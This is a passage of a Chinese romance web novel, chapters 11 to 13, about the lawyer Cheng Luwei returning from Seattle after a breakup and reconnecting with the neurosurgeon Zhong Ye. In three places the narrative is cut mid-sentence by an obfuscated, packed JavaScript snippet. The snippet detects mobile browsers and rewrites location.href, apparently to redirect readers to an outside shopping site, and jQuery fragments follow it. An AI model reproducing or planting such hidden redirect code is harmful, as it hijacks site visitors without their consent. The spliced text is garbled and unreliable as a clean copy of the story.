他并没有看来电显示,接起来喂了一声。 那头有些诧异,听声音不对还以为拨错了电话,“抱歉,请问你是?” 钟烨将手机从耳边移开,看了看屏幕,后背却因来电显示倏地一僵。 是梁昕娅打的电话。 虽然并不熟悉,这个名字于钟烨而言却并不陌生。 程陆惟大三的时候,钟烨有一回去政法大学送东西,两人在宿舍楼下碰到过。 那天是高二开学,还在初秋。 钟烨站在宿舍楼的绿荫道上,远远看见程陆惟推着自行车,身边正是一袭长裙的梁昕娅。 俩人像是聊着什么趣事,梁昕娅中途停下来笑弯了腰,程陆惟于是停在身侧,贴心挡住了头顶灼人的阳光。 钟烨拽着书包肩带,安静地看着。两人聊兴正酣,谁都没有往钟烨的地方看。 倒是程陆惟的大学室友余涛下楼扔垃圾,认出了他,“陆惟还没回来?” 说这话的时候,余涛一眼扫到远处的程陆惟,顿时瞪大了眼睛,心生了然。 “要不说耗子没机会呢,俊男美女走在一起就是养眼。” 是挺养眼。不仅五官好看,气质也同样出众,连路过的人都忍不住小声议论,探头打量。 钟烨沉默着没出声,额前的碎发和反光的镜片遮挡了他的眼睛,脸上并没有太多表情。 余涛抬手打招呼,程陆惟这才走过来,看向钟烨还有点意外:“怎么突然过来了。” “陆姨让我给你送东西。”钟烨把包里的袋子拿出来给他。 上午的课刚结束,正值饭点,程陆惟看他面色苍白,以为是最近熬夜赶考消耗太大,又问:“吃饭了吗?” 话音刚落,肚子便应声‘咕’了两下。 “不用你说,已经听到了。”程陆惟笑道。 食堂距离宿舍有些远,得骑车过去。 程陆惟调转车头,钟烨下意识走到他背后,被余涛扯住了袖子。 “额,要不还是让叶子坐我的车吧,让昕娅坐你的。”余涛心明眼亮,有意撮合,钟烨却抿着嘴不出声,仍旧把住后座不松手。 好在梁昕娅并不打算跟他们一起,说约了人,挥挥手就走了。 从八岁到十七岁,程陆惟载着钟烨上下学,身后从未有过其他人。 钟烨以为那是自己的专属,直到那一天他才明白,不管是程陆惟还是程陆惟的后座从来都不属于他。 久违的记忆扑面而来。 钟烨垂眼看着闪烁的屏幕,电话牢牢攥进手心。 那头因为持续没有回应,挂了电话。 没过多久,程陆惟去而复返,拍掉肩上遗留的水迹,对他说:“走吧,先送你回去。” 钟烨跟在他身后上了车,将手机递过去,提醒道:“有你的电话。” “嗯?”程陆惟点开屏幕看了一眼,没回,扔到了扶手箱里。 他调转车头,将车驶入主干道,“今晚怎么喝这么多,有应酬?” 钟烨嗯了声,陷进椅背里。 “平常也这么喝吗?” “没有。”回话的声音越来越低。 空调温度打得低,钟烨被出风口的暖风烘烤着,酒意混着杂乱的思绪逐渐蒸发成睡意。 手机连接着车载系统。 程陆惟开着车,偏头看他闭着眼,食指随后拨动方向盘下方的旋钮,将电话调至了静音。 下车时钟烨晕得比之前还要厉害,到家直接躺到了床上。 程陆惟有点不太放心,转去厨房烧了点热水,准备调点蜂蜜水帮钟烨解解酒。 梁昕娅的电话再次打过来。程陆惟放下水杯,怕吵到钟烨,于是握着手机移步到了客厅阳台。 “喂。”他语调平静。 那头听见声音,瞬间泄下一口气,“还以为你不打算接我的电话了。” “不至于,刚才在开车,不太方便。”程陆惟望着被风晃动的树影说,“是有什么事吗?” “你留下的东西我打包好了,今天准备寄出去,想问问你写哪个地址更方便。” 程家现在的住址梁昕娅是有的,但贸然寄一堆东西回去不合适,她怕给程陆惟惹麻烦。 程陆惟自然也明白,“我等会儿把地址发给你。” “行。”梁昕娅说。 那边是早上,说话间还有咖啡机嗡嗡运转的提示音。 梁昕娅没挂电话,换到安静的地方接着又问,“陆惟,你最近还好吗?” “挺好的。” “对了,”程陆惟话锋一转,“你上次给我妈寄的那些东西多少钱,我转给你。” 电话那头立马沉默下去,梁昕娅哑然片刻,开口道:“一定要算得那么清楚吗?那套护肤品是我送给阿姨的生日礼物。” 十六年的感情,不是说没就没的。程陆惟知道她的试探,但他无法接受,也不想给对方任何幻想和希望。 “你的心意我知道,但这不合适。” * 小院儿到了夜里很安静。电话挂断时,程陆惟长出了一口气。 十七垫脚蹦上栏杆蹲在程陆惟身前,歪头看着他。 “你这小家伙,怎么神出鬼没的。”程陆惟伸手挠了它两下。 十七也不躲,嘴里发出呼噜声,甚至还得寸进尺,站起身想要扒拉程陆惟的胳膊。 “别让它挠,它爪子没剪,会把你的衣服抓坏。” 身后传来响动,程陆惟回过头,钟烨正站在三步之遥的客厅里,头发凌乱,脸上还有明显的压痕。 小家伙年纪不小,对它主子的坏话早已耳熟于心,于是望着钟烨哈气借此表达自己的不满。 “吵醒你了?”程陆惟走进屋里。 “没有,没睡着,”钟烨说,“有点渴了,起来喝水。” 程陆惟这才想起厨房的蜂蜜水。 电话打了半小时,之前兑好的蜂蜜水早就凉透了。程陆惟重新烧水,又给他调了一杯热的。钟烨接到手里,掌心贴着杯壁,触感温热,杯口升起的层层雾气。 “程陆惟。”钟烨忽然叫了他一声。 程陆惟还站在厨房,投向钟烨的目光里带着明显的探寻和疑惑。 这不是最好的时机,如果换做平时,钟烨根本就不会问。但酒壮怂人胆,那天在婚礼上,钟烨就听见有人议论,说两人分手是因为程陆惟单方面的原因,所以净身出户。 钟烨不信,盘旋在胸口的疑问借着酒劲儿脱口而出,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245096|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们为什么会分手?” 程陆惟眼里闪过意外。 同样的话许多人都问过他,方浩宇,姚玥,田峰,包括今天一起吃饭的宋凛。 无论是谁,他总是很轻地笑笑,眉眼间也似乎并没有任何难过或失落。 可面对钟烨,他没办法一笑置之。 “也没什么,她想定居在那边,我想回国,彼此选择的路不同,自然而然就分开了。” 瓶口的蜂蜜黏到指尖,程陆惟拧开水龙头洗了下手,再用纸巾擦拭干净,“我总不至于一直呆在国外,把家里的全部都丢给你吧。” 他像平时聊着天一样语气随意,最后拿上自己的外套,拍了拍钟烨肩膀,“太晚了,喝完早点休息。” 钟烨背靠墙面,握着那杯蜂蜜水,直到房门关上也没动。 他从不相信流言,只知道如果整整十六年的感情仅用一句话就能概括,那一定是不是因为不能说,而是不想说太多。 * 学法律的大多理想,程陆惟天性温合更没什么脾气。 他和梁昕娅是同学也是校友,众人眼里郎才女貌最般配的一对。两人从毕业出国就在一起,整整十五年。 分手的原因也不是程陆惟所说的,单纯的选择不同了那么简单。 梁昕娅对家庭和婚姻有厌恶也有恐惧,她不愿意结婚也不想生育,这些年一直在申请绿卡,想要拿到永居借此逃离原生家庭的束缚。 如果不是因为这一点,程陆惟也不可能妥协常住国外那么多年。 但这些年移民政策收紧,梁昕娅的移民申请陆续被拒了好几次,绿卡不仅成了她的执念,也成了两人长期矛盾和冷战的焦点。 分手的导火索来自一份文件。 西雅图的雨季很长。 程陆惟说分手那天梁昕娅正在出差。他在书房里静坐一夜,直到天光大亮,手机上收到梁昕娅发来的航班信息。 外面依旧刮着风,细密不断的雨丝缱绻得让人骨头发酸。程陆惟开车去机场接她,路上顺道去超市买东西,回家后一起洗菜做饭。 期间并不冷场,说说笑笑地好像还跟往常一样,甚至彼此都主动避开了敏感话题。 但直至漫长的晚餐结束,梁昕娅准备上楼洗漱。 “昕娅。”程陆惟坐在餐桌前,将那份文件放到桌上,叫住她。 梁昕娅拿过黄皮纸袋。 那是她准备通过婚姻登记申请移民的登记材料,对象是同律所的一位同事。 梁昕娅没想到这份文件会出现在家里,脑袋一片空白。 “只是两年陆惟,”她红着眼睛解释,“两年后我就能拿到绿卡,这样也不可以吗?” 在一起的十多年里,程陆惟始终是最体贴包容的爱人。即便偶有争执,他也会耐心安抚,专注解决问题。 从未对梁昕娅红过脸发过脾气。 那是梁昕娅第一次害怕,她红着双眼蹲在程陆惟身前不停地解释,只是想要他点头。 可程陆惟却比任何时候都要狠心,抬手抹去她的眼泪,不留任何余地说了声抱歉。 感情里不分对错。 分手至今,程陆惟从未提及分手的真正原因,不是因为他旧情难忘,而是因为没必要。 他和梁昕娅在一起多久,就在国外打拼了多久。走的时候什么都没带,全都留下了。 真的一点不难过吗? 必然是不可能的。 就像离开那天一样,程陆惟站在公寓门口往回看,十六年恍然一梦。 西雅图依旧下着连绵细雨。他拎着一只行李箱,就这样连同他十五年的事业爱情还有青春,一并留在了那个飘着雨的夏天。 12.第 12 章 程陆惟发给梁昕娅的是小院儿的地址。 两代人作息不同,陆文慧和程肃峵习惯早睡早起,程陆惟睡眠浅经常被吵醒,时差一直没能调整过来,住在家里并不方便。 他说要搬出来的时候,顺便也提了跟梁昕娅分手的事。 这事儿早晚都得说,瞒不住,尤其程陆惟的年纪不小了,家里父母亲戚动不动就得催一次婚。 程陆惟懒得再解释,早坦白也早完事。 陆文慧当时听完脑子有些懵,看着他都没反应过来,倒是程肃峵慢悠悠地喝了口茶说,“你的事,你自己想好了就行。” 当爹的不管,当妈的不可能不操心。 饭后陆文慧找他谈话,坐在沙发上唉声叹气。“你年龄不小了,工作也好,感情也好,我跟你爸管不了但你自己心里要有数,别折腾到最后连个家都没有。” “怎么?”程陆惟陪她看电视,故意揣着明白装糊涂,“我人还没走呢,你跟我爸这儿就不是我家了?” “少贫,我跟你说正经的。” 陆文慧蹙着眉瞪他,程陆惟笑着不吭声。 十多年的感情说分就分,老人会担心是正常的。 陆文慧有心试探,程陆惟却没说太多,无论怎么说,结果已经摆在那儿了,原因是什么就变得不再重要。 他手上剥着橙子。剥完分两半,一半给他妈,一半再拿去书房孝敬程法官。 香炉飘着一缕甘甜醇厚的檀香,程法官握着毛笔腾不出手,不愿意吃,程陆惟就自己拿着,顺便坐在对面椅子上看他爸写字。 “工作都定好了?”程肃峵躬着身,眼也不抬地问他。比起感情问题,程肃峵显然更担心他的工作。 “嗯,先去方程。”程陆惟说。 方程是方浩宇早年个人创办的律师事务所。后来因为程陆惟的关系,同时在国外成立了办事处专注海外的跨境诉讼业务,程陆惟本人也因此成为了律所合伙人。 他在国内和国外都有执业资格。 不过以后必然是以国内业务为主,律协那边还需要重新递交一点资料。 等审核通过了,程陆惟就能去上班。 “定好了就行。” 心字最后一笔写完,程肃峵拿出自己的私章在卷轴左下角落了个印。这幅字也交给程陆惟一并带回了小院儿。 搬家那天方浩宇过来送资料,顺便帮忙,翻开卷轴时忍不住感叹,“程叔这字儿可真不错。” 他把字画挂到墙上,摸着下巴瞧了半天。 “惟思既往也,故生留恋心;惟思将来也,故生希望心。什么意思?专门写给你的?” 惟是程陆惟的惟,有希望,也有思考的意思。当年取名的时候,程肃峵特意选的这个字。 “没什么意思,程法官点我呢。”程陆惟笑了声说。 方浩宇懒得听他打哑谜。 最近两天气温又上来了,家里太久没住人,空调坏了都没人知道。方浩宇惹得直冒汗,边跟他聊天边扯着衣领扇风:“你爸妈还真同意你搬啊?” “陆老师嫌我在家碍眼。”程陆惟睁眼说瞎话,进屋搬出许久不用的电风扇,擦掉上面厚厚一层灰,通上电,再把客厅和阳台门同时打开让空气对流。 屋里瞬间凉爽了许多。 “是挺碍眼的,现在父母都不爱跟年轻人住,除了我媳妇儿生孩子那会儿,平时甭管我妈还是我丈母娘,你求都求不过来。”方浩宇凉快了才开始帮忙收拾箱子。 东西不算少,除了打包装好的日常用品,还有梁昕娅飘扬过海寄回来的几箱书籍和旧物。 方浩宇拆东西上瘾,随手打开一箱发现里面都是些精心包装起来的礼物,还有一台上了年纪的掌上游戏机。 方浩宇拿起来觉得眼熟,“这psp不就是叶子送你的那台呢?还能玩儿啊?” 程陆惟挽着衬衫衣袖回头看了一眼,说玩不了,寄出国的时候快递把电路板摔坏了。 方浩宇啧一声,语带遗憾道:“可惜了,这型号现在可是老古董,放二手市场上能卖好几倍高价呢。” 他把游戏机放回去,瞥见纸箱角落有个小盒子,外部透明没有单独包装,乍一看像是什么饰品。 “这是胸针?上面的花是什么,狗尾巴草吗?”方浩宇研究半天还是看不懂。 程陆惟走过去一看,也愣了,对这小盒子完全没印象,也不知道是从哪儿来的。 桌上摞着一叠厚厚的旧书,书页被风呼啦啦地吹起又落下。方浩宇见他锁眉低头,眼珠子转两圈,误以为是梁昕娅送的什么周年礼物。 “用安慰你两句吗?”他清清嗓子。 程陆惟拿着胸针盒子还在回忆,闻言抬了抬眸,“什么?” 方浩宇大喇喇躺到沙发上,自作多情地开始安慰,“嗨,不就失个恋嘛,兄弟我以前失恋的次数两只手都数不完,你才头一遭呢,没什么大不了的。” 程陆惟表情变得一言难尽。 “不是那谁送到啊?”方浩宇反应过来。 程陆惟说不是。方浩宇哦了声,“那估计是哪个暗恋你的女生送的,可得好好想想。” 程陆惟没接话,将胸针盒子收了回去,省得被方浩宇继续八卦。 外面光线太强,落进屋里的阳光都冒着热气。 客厅收拾一半,两人又热又渴。程陆惟本想点个外卖,方浩宇等不及,跑去楼下钟烨家拿了两瓶冰冻矿泉水,顺道还端回来一盘水果。 钟烨今天上班,家里门是锁着的。程陆惟看他来去自如,忍不住扬眉问道:“你怎么进去的?” “什么怎么进去的,当然是开门进去的,不然我翻窗啊。”方浩宇热得满头汗,矿泉水仰头就灌了小半瓶。 程陆惟将手机揣回裤兜,“我的意思是你有密码?” “有啊,我问叶子要的。怎么,你没有吗?” “......” 方浩宇理所当然说完,发现程陆惟不出声了。 何止是没有,回国后换了手机号,连微信都是前阵子才重新加回来的。 “哟,真没有啊?”方浩宇有意气人,专挑程陆惟的肺管子戳,还学他挑起半边眉毛,“叶子还叫我哥呢,我要不给你听听语音。” “你无不无聊。”程陆惟黑着脸起身踹了他一脚。 “哈哈哈,好不容易赢你一回,可不得抓紧机会气死你嘛。”方浩宇笑得不行,抬起胳膊擦了擦嘴,“诶,不过我说真的,你跟叶子,你俩到底是因为什么闹生气的?” 程陆惟握着另一瓶冰水。 冰凉的触感从掌心皮肤沁进去,程陆惟沉默片刻,摇头说:“不知道。” “不知道?”方浩宇盯他半天,“行,你俩可真有意思,搞得跟我和我老婆冷战一样,问他他不说,问你你说不知道。” 窗帘被风吹着飘动,程陆惟坐在客厅明暗交接处,看不出表情。方浩宇伸腿踢他的凳子,“那我问你,你是故意搬来这儿的吧?” “什么?”程陆惟偏过头,睫毛像是挂着金灿灿的光点。 “少跟我这儿装,要不是叶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253081|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住这儿,你还能往回搬?”方浩宇抬眉瞪着他。 程陆惟长指轻轻拧动瓶盖,笑笑说,“算是吧。” * 他俩收拾房间的时候,钟烨脱了白大褂,正从电梯出来往神外走。 今天是俞锐最后一天上班。 全部工作交接完,两人照旧约在住院楼天台,路过时顺便还在贩卖机上刷了几罐啤酒。 “什么时候走?”钟烨双臂搭着栏杆吹风。 “周六。”俞锐和他反方向站着,顺便提醒他,“这是你第三次问我了钟主任,怎么?你是怕我一去不回么?” 钟烨掰开易拉罐,和他碰了碰杯,“最怕你一去不回的不是我,而是你家那位顾教授。” 俞锐闻言笑了下。 钟烨的朋友不多,俞锐算是其中一个。 他们以前的确如传言所说水火不容,见面就掐,虽然现在也差不多。 不过自从去年钟鸿川去世过后,两人的关系明显发生了一些变化,俞锐不太会在人前跟钟烨对着干了,钟烨也不会总是针对他不放。两人相处和谐,甚至会像现在这样约在天台,偶尔聊聊天,顺便喝点啤酒。 钟烨很少有这么放松的时候。 除了放松,或许还有点不舍。他放下易拉罐,转身背靠栏杆,“周六我还在外地出差,就不去送你了。” 俞锐点了点头,表示理解。 下班前两人一起回了趟神外,俞锐从他的办公桌下面拿出一瓶红酒,说是提前给他的生日礼物。 钟烨接在手里有些意外。 垂落的目光扫到瓶身记录的出场年份,钟烨动作一顿,将红酒放回到桌面,“记得没错的话,你这个月奖金扣了不少,上周还签字接收了一位重度脑损的流浪汉。” 流浪汉意味着没有医保,也没有任何支付能力。 重度脑损患者的花费高,术后得在ICU里住上很长一段时间。医院虽然出于人道主义必须提供救助,但实际上最终的一部分还是得科里承担。 为了不影响其他医生护士的薪资,俞锐偷偷给患者垫钱的次数不少,在钟烨这里不算什么秘密。 钟烨提这事儿的言下之意就是没必要,再送他这么贵的酒有点浪费了。 “放心,这瓶酒是寻哥替我挑的,没有你想象中的那么贵。”俞锐对身边人一向大方,科里的医生护士结婚他的红包总是最大的。 送瓶酒对他来说也并不算什么,何况他知道钟烨有收藏酒的爱好,送出去的礼物也没道理再拿回来。 “别忘了,我们家有两份工资。”俞锐说。 钟烨一怔,嘴角浮现出些许笑意,“也是,忘了你还能吃软饭。” “那是当然,你想的话也可以。” 俞锐软饭吃得硬气,对他的调侃也无动于衷,还顺势从抽屉里拿了一张名片给他,“这是纪寻留给你的,他说你要是喜欢酒的话,有空可以去他那儿坐坐。” 纪寻是医大附近一家餐厅的老板,和俞锐关系不错。 前阵子俞锐请人到家里烧烤,钟烨和纪寻都去了。他俩不算熟,总共也没聊几句,钟烨只隐约记得对方除了餐厅好像还开了家酒吧,长得挺帅也挺酷。 然而,钟烨不知道的是,自从那天聚餐过后,纪寻就对他表现出极大的好感。 甚至这瓶红酒也是对方精心挑选的。 俞锐对钟烨的个人感情并不了解,有心想牵线也不好过于明显,只能借机送张名片。 钟烨于是将名片揣进兜里,“行,替我说声谢谢。” 13.第 13 章 难得早下班,到家时天还没黑。 这个季节,小院儿里的银杏开始慢慢转黄,钟烨下了车,脚踩着一地落叶往回走。 单元楼门口蹲着一人一猫。 十七听觉灵敏,耳朵往后撇了两下,对钟烨的靠近没什么反应,专心舔它的猫条。倒是程陆惟被影子罩住,抬起头,“回来了?” “嗯,”钟烨停在他身前,“怎么突然过来了?” 手里的猫条喂完,程陆惟站起身说:“过来收拾收拾家里。” 钟烨愣了愣,抬头往上看。 二楼向外的房间亮着灯,原本堆放杂物的阳台空置了出来,连外墙都有明显清洗过的痕迹。 “你要搬回来住?”钟烨收回眼,表情有些意外。 “怎么?”程陆惟笑着反问,“不欢迎吗?” 程家的房子本来就没卖,程陆惟要搬回来,钟烨没什么立场不欢迎,只是没想到而已。 正是饭点,楼里楼外都是溢出的烟火气和饭菜香,程陆惟问他:“还没吃饭吧?” 钟烨说没有。 “那正好,”程陆惟迈上台阶,“下午出去买了点菜,今晚去我那儿吃。” 十七歪着脑袋看他俩说着话都往楼上走,也不把自己当外人,三步蹿上去,门一开就钻进屋里巡视现场。 家里已经收拾得差不多了,就剩几个小件的箱子还没拆。 钟烨进门的时候有些恍惚。客厅布局还保留着以前的样子,右手边就是沙发和小茶几,以前读书放学回来,他俩一人一张小板凳,就坐那儿写作业。 “站门口干嘛?进来啊。”程陆惟从厨房端着一盘水果出来。 思绪还未来得及发散便被打断,钟烨换了拖鞋走进屋。 “先吃点水果。”程陆惟将果盘放到茶几上,“今天下班这么早?” “回来收拾行李,明天得出趟差。” 后天有一场关于器官捐献和器官移植条例的最新报告会,红十字会组织的,钟烨得代表八院OPO办公室出席参加。 “哦?去哪儿?” “南城。” 程陆惟想起今天手机推送的新闻,提醒道:“沿海一带最近好像有台风,你去的话注意点天气。” 钟烨应了声嗯。 两人都不擅厨艺,程陆惟久居国外,也不怎么做中餐,最后煎了两块牛排,拌了点沙拉凑合。 十七满屋遛一圈,闻到厨房有肉味儿,于是蹲守在厨房门口,用实力给自己讨来两块鸡胸肉。吃饱喝足就躺在客厅地板上舔毛,也不管是不是在自己家。 程陆惟倒是真喜欢这小家伙,今天出门还特意给它买了点小零食。 “对了,你不在的话,十七怎么办?”想起钟烨要出差,程陆惟于是问。 钟烨往十七身上瞥了一眼,切着牛排说:“家里有定时猫粮,它会自己吃。” 十七正在舔毛,闻言动作都停了。 小家伙养在钟烨身边有十多年了,从小就娇惯,冻干罐头每天少不了,都得靠人喂。 这一听只有猫粮哪能乐意,当即爬起来,甩着尾巴蹦上桌,对着钟烨就开始喵喵抗议。 “还挺能听懂人话。”程陆惟看他俩大眼瞪小眼,觉得很有意思。 “你叫也没用,只有猫粮。”钟烨面无表情道。 闻言,十七直接站了起来,伸出爪子要扒钟烨的衣服,被钟烨给拍了下去。 家里的男人靠不住,十七转了转脑袋,漆黑的眼珠望向程陆惟。 程陆惟本来就有点爱屋及乌。 何况有奶就是爹,十七在他手底下极力卖乖,脖子下巴随便摸,最后还是没忍心开口:“要不把它的东西搬上来,先放我这儿吧,反正这几天我也在家。” 这边还没出声,十七立刻扭头喵了两嗓子。 无奈之下,钟烨只能答应。 猫砂盆猫粮猫罐头,还有睡的用的,杂七杂八一堆,钟烨觉得搬来搬去没必要,“我给你录个指纹就行,它每天都会出去玩儿,累了会自己回来。” 程陆惟淡淡地挑了下眉,抱着十七下楼。 “我还以为你会给我密码呢。”这话是故意说的。 某些人三十六了比当年十六的时候还爱较劲,今天下午光上楼下楼就往旁边看了好几回,老惦记着方浩宇手上那密码。 钟烨倒并不知道这些,解释说,“密码都是一次性的,开门之后就会失效。” “这样啊。” 程陆惟放慢脚步,摸着十七的头,小声道:“好样儿的,明天就给你开罐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14285216|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。” * 程陆惟第二天去了趟事务所。 律协那边的审核材料已经通过了,程陆惟在家休息了两个月,每天被方浩宇夺命连环扣,终于打算开始上班。 方程坐落在市中心最繁华的写字楼,周边高楼林立,往来全是城市白领精英。他之前已经来过一次,所里的前台和同事也都见过。 助理晓琳看到他迈进感应门,立刻从工位上起身,抱着厚厚一袋文件跟进了办公室。 “程律,你电话里要的案件资料我已经准备好了。” “行,你先放那儿吧,我有事再叫你。”程陆惟长腿大迈,绕到了办公桌背后。 “好的。” 晓琳前脚出去,方浩宇后脚就跟了进来,双手按在桌面上,“我是真没想到你会转刑事,之前好几个客户听说你要来,连常法协议都盖完章寄过来了。” “你接呗,都是一样。”程陆惟说。 方浩宇听完翻了个白眼,心想人家那都是冲你,又不是冲我来的。 为了积累客户拿到更多案源,律师大多会选择深耕某个领域。 程陆惟毕业时就想做刑诉,但当时情况比较复杂,加之国外的环境毕竟不如国内,华人律师不管是在业内还是在庭上,受到的歧视都不少。 所以博士毕业后,除了几宗法律援助案件,程陆惟大部分工作还是以非诉业务为主。 方浩宇也不是不同意,就是觉得有点可惜。 程陆惟现在手上那起案子,也是法律援助中心派过来的,没钱就不说了,案子的管辖权还在外省,方浩宇觉得没必要,就算推不掉也打算交给所里其他人去接。 没想到程陆惟听完,主动说要看看卷宗。 “不是,你真打算接这个案子啊?”方浩宇是真的不太理解,程陆惟以前做的项目他是知道的。 不说别的,光代理费就能上七位数。转刑事就算了,丢了西瓜捡芝麻算怎么回事。 程陆惟倒是一脸的风平浪静,翻着卷宗说:“先看看吧,合适就接。” 他说这话的意思就是八九不离十 “得咧,”方浩宇重重地点了点头,推开椅子起身,拖着长音道,“我算是知道了,你这哪儿是回国啊,你是下凡普渡众生来了。”